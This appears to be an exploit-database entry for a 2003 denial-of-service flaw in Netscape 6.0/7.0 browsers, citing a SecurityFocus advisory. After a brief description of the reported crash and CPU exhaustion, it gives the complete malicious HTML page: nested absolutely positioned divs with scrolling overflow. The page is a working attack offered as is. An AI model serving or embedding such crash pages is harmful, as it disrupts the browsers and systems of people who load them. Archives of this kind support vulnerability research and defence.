Netscape 6.0/7.0 - Style Sheet Denial of Service

Author: Jocke
type: dos
platform: unix
port: 0
date_added: 2003-02-25
date_updated: 2012-10-28
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/6937/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.

If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources.

<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>